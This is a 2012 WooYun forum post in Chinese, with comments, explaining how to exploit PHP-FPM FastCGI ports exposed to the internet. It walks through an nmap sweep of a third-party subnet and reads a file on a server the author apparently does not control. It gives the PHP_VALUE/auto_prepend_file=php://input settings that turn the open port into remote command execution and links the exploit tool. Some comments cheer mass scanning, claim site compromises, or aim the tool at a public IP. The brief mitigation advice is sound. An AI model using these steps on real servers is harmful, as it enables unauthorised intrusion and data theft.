当前位置:WooYun(白帽子技术社区) >> php >> PHP FastCGI 的远程利用

PHP FastCGI 的远程利用

GaRY | 2012-09-17 17:06

# Author: wofeiwo
# Date: 2012-09-15

说到FastCGI,大家都知道这是目前最常见的webserver动态脚本执行模型之一。目前基本所有web脚本都基本支持这种模式,甚至有的类型脚本这是唯一的模式(ROR,Python等)。

FastCGI的主要目的就是,将webserver和动态语言的执行分开为两个不同的常驻进程,当webserver接收到动态脚本的请求,就通过fcgi协议将请求通过网络转发给fcgi进程,由fcgi进程进行处理之后,再将结果传送给webserver,然后webserver再输出给浏览器。这种模型由于不用每次请求都重新启动一次cgi,也不用嵌入脚本解析器到webserver中去,因此可伸缩性很强,一旦动态脚本请求量增加,就可以将后端fcgi进程单独设立一个集群提供服务,很大的增加了可维护性,这也是为什么fcgi等类似模式如此流行的原因之一。

然而正是因为这种模式,却也带来了一些问题。例如去年80sec发布的《nginx文件解析漏洞》 实际上就是由于fcgi和webserver对script路径级参数的理解不同出现的问题。除此之外,由于fcgi和webserver是通过网络进行沟通的,因此目前越来越多的集群将fcgi直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成webserver,让fcgi执行我们想执行的脚本内容。

ok,以上就是背景原理解释,我这里就用我最熟悉的PHP给各位做个例子。

php的fastcgi目前通常叫做FPM。他默认监听的端口是9000端口。我们这里用nmap直接扫描一下:

nmap -sV -p 9000 --open x.x.x.x/24

为什么要用sV?因为9000端口可能还存在其他服务,这里需要借用nmap的指纹识别先帮我们鉴定一下。

[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24

Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT
Nmap scan report for abc.net (173.xxx.xxx.111)
Host is up (0.0095s latency).
PORT     STATE SERVICE VERSION
9000/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Nmap scan report for abc.com (173.xxx.xxx.183)
Host is up (0.0096s latency).
PORT     STATE SERVICE    VERSION
9000/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds


随便扫描了一下,运气不错,一个C段有2个开放9000端口的,不过其中一个是被管理员修改的sshd,另一个tcpwrapped,才是我们的目标。

为了做测试,我写了一个fastcgi的客户端程序,直接向对方发起请求。我们利用一个开放的fastcgi能有什么作用?这里和普通的http请求有一点不同,因为webserver为了提供fastcgi一些参数,每次转发请求的时候,会通过FASTCGI_PARAMS的包向fcgi进程进行传递。本来这些参数是用户不可控的,但是既然这个fcgi对外开放,那么也就说明我们可以通过设定这些参数,来让我们去做一些原本做不到的事情:

[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue

X-Powered-By: PHP/5.3.2-1ubuntu4.9
Content-type: text/html

Ubuntu 10.04.3 LTS \n \l


读到了/etc/issue文件,可以看到这是台ubuntu 10.04的机器。那又是怎么实现的呢?其实我们只要在FASTCGI_PARAMS中,设定 DOCUMENT_ROOT为"/"根目录即可,随后再设置SCRIPT_FILENAME为/etc/issue。这样,只要我们有权限,我们就可以控制fcgi去读取这台机器上的任意文件了。实际上这并不是读取,而是用php去执行它

既然是执行,所以其实这个漏洞就类似于一个普通的LFI漏洞,如果你知道这台机器上的log路径,或者任何你可以控制内容的文件路径,你就可以执行任意代码了。


到此为止了么?不,如果利用log或者去猜其他文件路径去执行代码,还是不够方便,有没有更为方便的利用方式可以让我执行任意我提交的代码呢?

这里我也找了很多办法,最先想到的是传递env参数过去然后去执行/proc/self/environ文件,可惜php-fpm在接收到我的参数值后只是在内存中修改了环境变量,并不会直接改动这个文件。因此没法利用。况且这个方式也不是所有系统都通用。

我们还有一种方法,在我之前写的《CVE-2012-1823(PHP-CGI RCE)的PoC及技术挑战》中,可以通过动态修改php.ini中的auto_prepend_file的值,去远程执行任意文件。将一个LFI的漏洞变成了RFI,这样可利用空间就大大增加。

fastcgi是否也支持类似的动态修改php的配置?我查了一下资料,发现原本FPM是不支持的,直到某开发者提交了一个bug,php官方才将此特性Merge到php 5.3.3的源码中去。

通用通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"


利用执行php://input,然后在POST的内容中写入我们的php代码,这样就可以直接执行了。

[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"    

X-Powered-By: PHP/5.5.0-dev
Content-type: text/html

uid=500(www) gid=500(www) groups=500(www)
Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux


细心者会注意到这里有些变化,我换了本机做测试。因为开始发现的那台机器php版本是5.3.2,正好低于5.3.3,因此无法利用修改ini设置去执行代码,只能去猜路径。

另一个变化是,我这里去读取/tmp/a.php这个php文件,而不是去读取/etc/issue。因为在5.3.9开始,php官方加入了一个配置"security.limit_extensions",默认状态下只允许执行扩展名为".php"的文件。因此你必须找到一个目标机器上已经存在的php文件。而这个设置是php-fpm.conf里的,无法通过修改ini的配置去覆盖它。如果谁能有更好的办法可以绕过这个限制,请告诉我。

ok,目前为止对php-fpm的所有测试已经结束,我们利用一个对外开放的fcgi进程,已经可以直接获取shell了。各位不如也去研究一下其他fcgi,或许会有更多发现。

如何防止这个漏洞?很简单,千万不要把fcgi接口对公网暴露。同时也希望将来fcgi会有身份认证机制。

文中使用到的测试程序及源码可以在此下载

任何系统上编译,请安装golang之后,执行:
go build fcgi_exp.go

分享到:
  1. 1#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2012-09-17 17:15

    哦 赞!

  2. 2#
    回复此人 感谢
    rootkit | 2012-09-17 17:16

    赞一个!!!

  3. 3# 感谢(1)
    回复此人 感谢
    an1k3r | 2012-09-17 17:27

    PL,送枚WB哈

  4. 4#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2012-09-17 17:30

    @an1k3r 开扫

  5. 5#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2012-09-17 17:31

    不知明日首页会不会被刷

  6. 6#
    回复此人 感谢
    tmp | 2012-09-17 17:31

    NB啊......

  7. 7#
    回复此人 感谢
    an1k3r | 2012-09-17 17:35

    @xsser 哈哈~ 可以试下

  8. 8#
    回复此人 感谢
    继续沉默 (哥就是帅) | 2012-09-17 17:36

    学习了,赞

  9. 9#
    回复此人 感谢
    livers (如梦似幻) | 2012-09-17 17:54

    @xsser @an1k3r  nmap 掉出来 干!

  10. 10#
    回复此人 感谢
    safefocus | 2012-09-17 18:10

    我靠,流弊流弊,灰常流弊

  11. 11#
    回复此人 感谢
    rayh4c | 2012-09-17 18:10

    mark下,求python版的fastcgi client。

  12. 12#
    回复此人 感谢
    Xhm1n9 | 2012-09-17 18:17

    不错

  13. 13#
    回复此人 感谢
    tmp | 2012-09-17 18:26

    @rayh4c 铜球

  14. 14#
    回复此人 感谢
    123 (v2ex) | 2012-09-17 18:30

    碉堡了

    可以直接go run fcgi.go 直接运行

  15. 15#
    回复此人 感谢
    diroverflow | 2012-09-17 18:41

    现在都用go语言了?

  16. 16#
    回复此人 感谢
    zhuowater | 2012-09-17 19:52

    @rayh4c http://stackoverflow.com/questions/6801673/python-fastcgi-client

  17. 17#
    回复此人 感谢
    情深 (ส็็็็็็็็็็็็็็็็็็็็็็็็็) | 2012-09-17 20:11

    帅气啊

  18. 18# 感谢(2)
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-09-17 20:22

    屌~~

  19. 19#
    回复此人 感谢
    笔墨 (好人一生平胸) | 2012-09-17 20:30

    好拽

  20. 20#
    回复此人 感谢
    疯狂 (One day is a day) | 2012-09-17 20:43

    NB

  21. 21#
    回复此人 感谢
    Anthr@X | 2012-09-17 21:00

    硬了

  22. 22#
    回复此人 感谢
    zeracker (多乌云、多机会!!! 微信公众号:301在路上) | 2012-09-17 21:06

    1WB 送上。

  23. 23#
    回复此人 感谢
    Mujj (为何我的眼中饱含泪水?因为我装逼装的深沉) | 2012-09-17 21:06

    碉堡

  24. 24#
    回复此人 感谢
    hongygxiang (屌丝,纯屌!) | 2012-09-17 21:58

    碉堡

  25. 25#
    回复此人 感谢
    lazze | 2012-09-17 22:58

    实在是碉堡了

  26. 26#
    回复此人 感谢
    Henry:bobo (胖吊一枚 看什么看 又高又肥2个奶奶像地雷) | 2012-09-17 23:00

    碉堡了

  27. 27#
    回复此人 感谢
    邪少 | 2012-09-17 23:13

    实在是碉堡了

  28. 28#
    回复此人 感谢
    冰锋刺客 (往日不可追) | 2012-09-17 23:21

    牛逼了啊  

  29. 29#
    回复此人 感谢
    期待爱 (这个家伙很精明 连条内裤也没有留下!!!) | 2012-09-17 23:49

    @冰锋刺客 楼上黑阔 今天搞的站貌似被你路过?搞下了木有?

  30. 30#
    回复此人 感谢
    applychen | 2012-09-17 23:58

    真心碉堡了~

  31. 31#
    回复此人 感谢
    冰锋刺客 (往日不可追) | 2012-09-18 01:09

    @期待爱  神马站,大约不关我的事吧   =.=

      
      

  32. 32#
    回复此人 感谢
    only_guest (PKAV-誓与AV抢宅男!) | 2012-09-18 01:11

    gary又来发好文了.

  33. 33#
    回复此人 感谢
    B1n4ry (苦逼的生存着。。。) | 2012-09-18 02:56

    楼主确实研究的深入~ 话说不能用个主流点的语言写EXP么~~ 有点蛋疼的编译环境~~

  34. 34#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-09-18 08:17

    我日啊。。。牛逼了。。 又有一堆站要沦陷。。。

  35. 35#
    回复此人 感谢
    NiceWorm | 2012-09-18 08:33

    我表示我看到了。哈哈。碉堡了

  36. 36#
    回复此人 感谢
    剑芯 | 2012-09-18 09:33
  37. 37#
    回复此人 感谢
    leehenwu (关注安全) | 2012-09-18 10:10

    碉堡了

  38. 38#
    回复此人 感谢
    Enjoy_Hacking (祖传黑客,包黑百站,专黑各种疑难杂站,无效全额退款) | 2012-09-18 10:44

    我擦。真心碉堡了

  39. 39#
    回复此人 感谢
    cnyouker | 2012-09-18 18:28

    碉堡了

  40. 40#
    回复此人 感谢
    请叫我大神 | 2012-09-18 18:40

    这帖子一出,一时间,好多人成了太监

  41. 41# 感谢(2)
    回复此人 感谢
    gainover (">_< ' / & \ 看啥,没见过跨站字符么) | 2012-09-18 18:44

    @请叫我大神 哈哈,= = 我只发了屌,没发"爆" ~

  42. 42#
    回复此人 感谢
    Mujj (为何我的眼中饱含泪水?因为我装逼装的深沉) | 2012-09-18 22:06

    @蟋蟀哥哥 成功日下你的外貿站,拿服務器來換吧

  43. 43#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-09-18 23:00

    @Mujj 哪个?

  44. 44#
    回复此人 感谢
    Mujj (为何我的眼中饱含泪水?因为我装逼装的深沉) | 2012-09-18 23:42

    @蟋蟀哥哥 XX中文社区

  45. 45#
    回复此人 感谢
    lossite | 2012-09-19 07:47

    又是一场腥风血雨

  46. 46#
    回复此人 感谢
    蟋蟀哥哥 (̷ͣ̑̆ͯ̆̋͋̒ͩ͊̋̇̒ͦ̿̐͞҉̷̻̖͎̦̼) | 2012-09-19 08:22

    @Mujj 不存在这个漏洞啊

  47. 47#
    回复此人 感谢
    我了个去 | 2012-09-20 09:20

  48. 48#
    回复此人 感谢
    horseluke (微碌) | 2012-09-20 09:36

    测了win2008,不知为啥老报错....

  49. 49#
    回复此人 感谢
    GaRY | 2012-09-20 16:50

    @horseluke 抱错什么?

  50. 50#
    回复此人 感谢
    horseluke (微碌) | 2012-09-20 17:40

    @GaRY 如下:

    I:\pentest\fcgi_exp>fcgi_exp read 127.0.0.1 9000 C:\BOOTNXT
    err: dial tcp 127.0.0.1:9000: No connection could be made because the target mac
    hine actively refused it.panic: runtime error: invalid memory address or nil poi
    nter dereference
    [signal 0xc0000005 code=0x0 addr=0x20 pc=0x41b0ee]

    goroutine 1 [running]:
    _/D_/Src/fcgi/fcgiclient.(*FCGIClient).Request(0xf840040f30, 0xf840035780, 0x4e3
    b3c, 0x100000000, 0x0, ...)
            D:/Src/fcgi/fcgiclient/fcgiclient.go:277 +0xba
    main.main()
            D:/Src/fcgi/fcgi_exp.go:105 +0x55d

    goroutine 2 [syscall]:
    created by runtime.main
            C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist309699735/go/src/pkg/runti
    me/proc.c:221

    goroutine 3 [syscall]:
    syscall.Syscall6(0x7777a4d0, 0x5, 0x94, 0xf840035aa0, 0xf840050108, ...)
            C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist309699735/go/src/pkg/runti
    me/zsyscall_windows_amd64.c:97 +0x55
    syscall.GetQueuedCompletionStatus(0x94, 0xf840035aa0, 0xf840050108, 0xf840050100
    , 0xffffffff, ...)
            C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist309699735/go/src/pkg/sysca
    ll/zsyscall_windows_amd64.go:490 +0x9e
    net.(*resultSrv).Run(0xf840050058, 0x0)
            C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist309699735/go/src/pkg/net/f
    d_windows.go:107 +0x97
    created by net.startServer
            C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist309699735/go/src/pkg/net/f
    d_windows.go:211 +0x12b

    goroutine 4 [select]:
    net.(*ioSrv).ProcessRemoteIO(0xf84003e3e0, 0x0)
            C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist309699735/go/src/pkg/net/f
    d_windows.go:138 +0x1b5
    created by net.startServer
            C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist309699735/go/src/pkg/net/f
    d_windows.go:216 +0x1ab

  51. 51#
    回复此人 感谢
    GaRY | 2012-09-22 17:11

    @horseluke 直接连接出错了亲

  52. 52#
    回复此人 感谢
    三叶草 (一叶障目) | 2012-09-24 09:13

    iptables开启了,只允许了http和ssh的端口,扫描得知9000的STATE是filtered ...应该是安全的吧

  53. 53#
    回复此人 感谢
    Metasploit (www.metasploit.cn) | 2012-09-28 16:14

    @GaRY 测试不成功哈 大牛 如下

    Nmap扫描结果如下
    Nmap scan report for 127.0.0.1
    Host is up (0.0054s latency).
    PORT     STATE SERVICE     VERSION
    9000/tcp open  cslistener?

    测试效果如下
    I:\pentest\fcgi_exp>fcgi_exp read 127.0.0.1 9000 C:\BOOTNXT
    err: dial tcp 127.0.0.1:9000: No connection could be made because the target mac
    hine actively refused it.panic: runtime error: invalid memory address or nil poi
    nter dereference
    [signal 0xc0000005 code=0x0 addr=0x20 pc=0x41b0ee]

  54. 54#
    回复此人 感谢
    GaRY | 2012-09-28 17:36

    @Metasploit 这个端口监听的服务根本不是PHP FCGI,请判断清楚

  55. 55#
    回复此人 感谢
    天涯惆怅客 (今夕已然非昨日) | 2012-09-28 22:15

    @B1n4ry   好牛逼的样子

  56. 56#
    回复此人 感谢
    FallenAngel (‫‫‮‮‮((worC) | 2012-10-15 15:01

    gay大神的文章要膜拜下

  57. 57#
    回复此人 感谢
    FallenAngel (‫‫‮‮‮((worC) | 2012-10-15 15:02

    @GaRY

  58. 58#
    回复此人 感谢
    Sunshine (0123456789) | 2012-10-15 17:29

    本文被上《黑X》

  59. 59#
    回复此人 感谢
    Power | 2012-10-15 17:54

    牛掰..

  60. 60#
    回复此人 感谢
    GaRY | 2012-10-15 18:25

    @Sunshine really?

  61. 61#
    回复此人 感谢
    Sunshine (0123456789) | 2012-10-15 19:34

    @GaRY 2012上卷224页,咳咳,我来引用一段“国内著名安全研究者GaRY在WooYun(白帽子技术社区)发表了一篇名为………”:-)好牛掰

  62. 62#
    回复此人 感谢
    horseluke (微碌) | 2012-10-15 20:37

    @Sunshine 可否追讨稿费?^o^

  63. 63#
    回复此人 感谢
    Sunshine (0123456789) | 2012-10-15 22:32

    @GaRY &@horseluke ∩_∩,必须的,作者名叫txcbg 。。。。。赶紧去讨稿费!!

  64. 64#
    回复此人 感谢
    softbug (算了,我还是做好我自己的东西) | 2012-11-06 19:13

    mark一个!

  65. 65#
    回复此人 感谢
    Spy4man (多人使用的公共号,言论不代表ID本人!) | 2012-11-07 16:18

    @horseluke 我跟你出错一样! 你怎么解决的?

  66. 66#
    回复此人 感谢
    horseluke (微碌) | 2012-11-07 17:54

    @Spy4man 放弃不搞...估计是防火墙挡住了

  67. 67#
    回复此人 感谢
    Spy4man (多人使用的公共号,言论不代表ID本人!) | 2012-11-07 19:37
  68. 68#
    回复此人 感谢
    cfc4n (程序员) | 2012-11-08 13:26

    @horseluke  
    http://t.qq.com/p/t/13836052439650
    http://weibo.com/1377342605/yeeyTATA3
    fpm 已有限制CGI客户端的配置:listen.allowed_clients ,没看楼主提供脚本内容,只要以cgi/1.1协议向FPM提交请求,都伪造SCRIPT_NAME,可以正常解析执行。

  69. 69#
    回复此人 感谢
    michael7736 | 2012-11-08 14:54

    看来所有的新功能上线,都得看看安全性呀!
    如何防止这个漏洞?很简单,千万不要把fcgi接口对公网暴露。同时也希望将来fcgi会有身份认证机制。
    从运维角度给个建议:

    如果依据最小服务原则,应该把这个服务从网络转为本地服务;
    另外依据最小权限原则设置FastCGI运行的service 帐号权限;
    采用Chroot设置web

    对这种未知的攻击,都能产生防护效果吧?

  70. 70#
    回复此人 感谢
    vakin | 2013-08-04 21:17

    @GaRY 大牛,请教几个问题。
    第一 不是远程,是本机的情况下。配置fastcgi_pass  unix:/tmp/php-cgi.sock; 这样是否可以通用。是不是exp要改一下。
    第二 是不是可以直接读/etc/shadow 只要权限够的话。一般怎么看这个权限?

    期待回复。

  71. 71#
    回复此人 感谢
    GaRY | 2013-08-04 21:47

    @vakin
    一、可以不用改,ip填写unixdomain地址,port随便填。
    二、权限问题,就是看你的php-fpm是运行在什么权限下的。一般来说,读取php-fpm.conf可以知道设置,基本上都不会是root。

  72. 72#
    回复此人 感谢
    vakin | 2013-08-04 22:25

    @GaRY /tmp/php-cgi.sock 我查看文件属于root,意思是root权限么?

  73. 73#
    回复此人 感谢
    vakin | 2013-08-04 22:26

    @GaRY 但看了php-fpm.conf设置的是普通权限

  74. 74#
    回复此人 感谢
    Ocean | 2013-08-04 22:35

    学习了,mark一下~

  75. 75#
    回复此人 感谢
    sese | 2013-08-04 22:40

    牛逼

  76. 76#
    回复此人 感谢
    cy3ber | 2014-09-02 09:01

    unix下面php 不管是源代码编译还是yum 不应该都是nobady的权限嘛?

  77. 77#
    回复此人 感谢
    酱油甲 | 2015-05-22 19:08

    mark一下~

  78. 78#
    回复此人 感谢
    Rainism | 2015-06-25 01:13

    mark

  79. 79#
    回复此人 感谢
    银冥币 (好好学习天天向上(号以借人,非本人使用)) | 2015-09-11 13:34

    @GaRY
    5666 tcp open tcpwrapped
    D:\UserData\Desktop\fcgi>fcgi_exp.exe read 221.209.235.137 5666 /etc/issue
    err: WSARecv tcp 10.0.1.32:27826: The specified network name is no longer availa
    ble.

    这个报错是什么

  80. 80#
    回复此人 感谢
    Fire ant | 2015-11-07 15:05

    @银冥币 同问

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录